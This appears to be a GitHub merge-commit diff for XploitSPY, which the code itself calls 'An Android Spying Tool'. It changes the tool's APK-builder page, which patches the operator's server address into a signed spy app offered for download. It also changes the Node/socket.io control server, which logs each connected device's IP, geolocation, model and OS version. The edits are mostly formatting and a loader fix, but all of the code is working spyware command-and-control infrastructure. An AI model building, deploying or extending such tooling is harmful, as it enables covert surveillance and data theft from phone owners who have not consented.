Merge pull request #49 from bkmalan/master

Fix bug in APK Builder
This commit is contained in:
chrisstone07 2020-04-23 13:55:09 +05:30 committed by GitHub
commit 68c26dca34
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 133 additions and 140 deletions

View File

@ -1,107 +1,103 @@
<!DOCTYPE html>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<html>
<% include partials/head.ejs %>
<% include partials/head.ejs %>
<body>
<div class="ui container">
<% include partials/header.ejs %> <% include partials/disclaimer.ejs %>
<div class="ui segment">
<div id="dimmer" class="ui dimmer">
<div class="ui indeterminate text loader" id="loadingText">Submitting</div>
</div>
<body>
<div class="ui container">
<% include partials/header.ejs %>
<% include partials/disclaimer.ejs %>
<div class="ui segment">
<div id="dimmer" class="ui dimmer">
<div class="ui indeterminate text loader" id="loadingText">Submitting</div>
</div>
<h1 class="ui" style="text-align: center">APK Builder</h1>
<div class="ui form" id="form">
<div class="inline fields">
<div class="six wide field">
<div class="ui labeled input">
<div class="ui label">
http://
</div>
<input type="text" id="uriInput" placeholder="IP / Public URL" title="This is the public url of your server (domain.com)">
</div>
</div>
<!-- <div class="two wide field">
<h1 class="ui" style="text-align: center;">APK Builder</h1>
<div class="ui form" id="form">
<div class="inline fields">
<div class="six wide field">
<div class="ui labeled input">
<div class="ui label">
http://
</div>
<input
type="text"
id="uriInput"
placeholder="IP / Public URL"
title="This is the public url of your server (domain.com)"
/>
</div>
</div>
<!-- <div class="two wide field">
<label>:</label>
<input type="number" id="portInput" placeholder="PORT" min="2048" max="25565" title="This is the `control_port` set in the consts" value="<%= myPort %>">
</div> -->
</div>
<div class="inline fields">
<div class="eight wide field">
<button id="gobuild" class="positive ui fluid button"><i class="wrench icon"></i>Build</button>
</div>
</div>
</div>
</div>
<div class="inline fields">
<div class="eight wide field">
<button id="gobuild" class="positive ui fluid button"><i class="wrench icon"></i>Build</button>
</div>
</div>
</div>
<div class="ui form" id="download" style="display: none;">
<div class="inline fields">
<div class="eight wide field">
<a class="blue ui fluid button" download="XploitSPY.apk" href="/build-aligned-signed.apk"
><i class="download icon"></i>Download</a
>
</div>
</div>
</div>
</div>
</div>
<style>
.inline.fields {
justify-content: center;
}
</style>
<div class="ui form" id="download" style="display: none">
<div class="inline fields">
<div class="eight wide field">
<a class="blue ui fluid button" download="XploitSPY.apk" href="/build-aligned-signed.apk"><i
class="download icon"></i>Download</a>
</div>
</div>
</div>
<script>
var loadingTexts = [
'Decompiling APK',
'Patching Server Information',
'Compiling APK',
'Signing APK',
'Verifying Build',
'Finalizing',
];
</div>
</div>
<style>
.inline.fields {
justify-content: center;
}
</style>
document.getElementById('uriInput').value = window.location.hostname;
<script>
var loadingTexts = [
"Decompiling APK",
"Patching Server Information",
"Compiling APK",
"Signing APK",
"Verifying Build",
"Finalizing"
];
document.getElementById('uriInput').value = window.location.hostname;
var loadingIndex = 0;
var isDone = false;
$('#gobuild').click((e) => {
$('#dimmer').addClass('active');
build($('#uriInput').val(), "80");
setTimeout(loaderText, 500);
});
function loaderText() {
var nextTimeout = Math.floor(Math.random() * 1500) + 700;
$('#loadingText').text(loadingTexts[loadingIndex]);
loadingIndex++;
if (loadingIndex !== loadingTexts.length) setTimeout(loaderText, nextTimeout);
else
while (isDone) {
isDone = false;
$('#dimmer').fadeOut(500, () => {
$('#download').removeClass('active');
})
$('#form').fadeOut(500, () => {
$('#download').fadeIn(200);
})
}
}
function build(URI, PORT) {
$.post("/builder?uri=" + URI + "&port=" + PORT, function(data) {
if (!data.error) {
isDone = true
} else showNotification('#f03434', data.error)
});
}
</script>
<% include partials/footer.ejs %>
</body>
var loadingIndex = 0;
var isDone = false;
$('#gobuild').click((e) => {
$('#dimmer').addClass('active');
build($('#uriInput').val(), '80');
setTimeout(loaderText, 500);
});
function loaderText() {
var nextTimeout = Math.floor(Math.random() * 1500) + 700;
if (loadingIndex < loadingTexts.length) $('#loadingText').text(loadingTexts[loadingIndex++]);
if (loadingIndex !== loadingTexts.length) setTimeout(loaderText, nextTimeout);
else if (loadingIndex === loadingTexts.length && !isDone) setTimeout(loaderText, 300);
else
while (isDone) {
isDone = false;
$('#dimmer').fadeOut(500, () => {
$('#download').removeClass('active');
});
$('#form').fadeOut(500, () => {
$('#download').fadeIn(200);
});
}
}
const build = async (URI, PORT) => {
let data = await $.post('/builder?uri=' + URI + '&port=' + PORT);
if (!data.error) isDone = true;
else showNotification('#f03434', data.error);
};
</script>
<% include partials/footer.ejs %>
</body>
</html>

View File

@ -1,22 +1,21 @@
/*
/*
* XploitSPY
* An Android Spying Tool
* By Team XploitWizer
*/
const
express = require('express'),
app = express(),
server = require('http').createServer(app),
IO = require('socket.io')(server),
path = require('path'),
geoip = require('geoip-lite'),
CONST = require(path.join(__dirname,'/includes/const')),
db = require(path.join(__dirname,'/includes/databaseGateway')),
logManager = require(path.join(__dirname, '/includes/logManager')),
clientManager = new(require(path.join(__dirname, '/includes/clientManager')))(db),
apkBuilder = require(path.join(__dirname, '/includes/apkBuilder'))
const express = require('express'),
app = express(),
server = require('http').createServer(app),
IO = require('socket.io')(server),
path = require('path'),
geoip = require('geoip-lite'),
CONST = require(path.join(__dirname, '/includes/const')),
db = require(path.join(__dirname, '/includes/databaseGateway')),
logManager = require(path.join(__dirname, '/includes/logManager')),
clientManager = new (require(path.join(__dirname, '/includes/clientManager')))(db),
apkBuilder = require(path.join(__dirname, '/includes/apkBuilder'));
port = process.env.PORT || CONST.web_port;
global.CONST = CONST;
global.db = db;
@ -31,47 +30,45 @@ global.apkBuilder = apkBuilder;
// client_io.sockets.pingInterval = 30000;
IO.sockets.pingInterval = 30000;
IO.on('connection', (socket) => {
socket.emit('welcome');
let clientParams = socket.handshake.query;
let clientAddress = socket.request.connection;
socket.emit('welcome');
let clientParams = socket.handshake.query;
let clientAddress = socket.request.connection;
let clientIP = clientAddress.remoteAddress.substring(clientAddress.remoteAddress.lastIndexOf(':') + 1);
let clientGeo = geoip.lookup(clientIP);
if (!clientGeo) clientGeo = {}
let clientIP = clientAddress.remoteAddress.substring(clientAddress.remoteAddress.lastIndexOf(':') + 1);
let clientGeo = geoip.lookup(clientIP);
if (!clientGeo) clientGeo = {};
clientManager.clientConnect(socket, clientParams.id, {
clientIP,
clientGeo,
device: {
model: clientParams.model,
manufacture: clientParams.manf,
version: clientParams.release
}
});
clientManager.clientConnect(socket, clientParams.id, {
clientIP,
clientGeo,
device: {
model: clientParams.model,
manufacture: clientParams.manf,
version: clientParams.release,
},
});
if (CONST.debug) {
var onevent = socket.onevent;
socket.onevent = function(packet) {
var args = packet.data || [];
onevent.call(this, packet); // original call
packet.data = ["*"].concat(args);
onevent.call(this, packet); // additional call to catch-all
};
socket.on("*", function(event, data) {
console.log(event);
console.log(data);
});
}
if (CONST.debug) {
var onevent = socket.onevent;
socket.onevent = function (packet) {
var args = packet.data || [];
onevent.call(this, packet); // original call
packet.data = ['*'].concat(args);
onevent.call(this, packet); // additional call to catch-all
};
socket.on('*', function (event, data) {
console.log(event);
console.log(data);
});
}
});
// get the admin interface online
// app.listen(CONST.web_port);
server.listen(process.env.PORT || CONST.web_port)
server.listen(port, () => console.log(`listening on port ${port}`));
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, '/assets/views'));
app.use(express.static(__dirname + '/assets/webpublic'));
app.use(require(path.join(__dirname, '/includes/expressRoutes')));
app.use(require(path.join(__dirname, '/includes/expressRoutes')));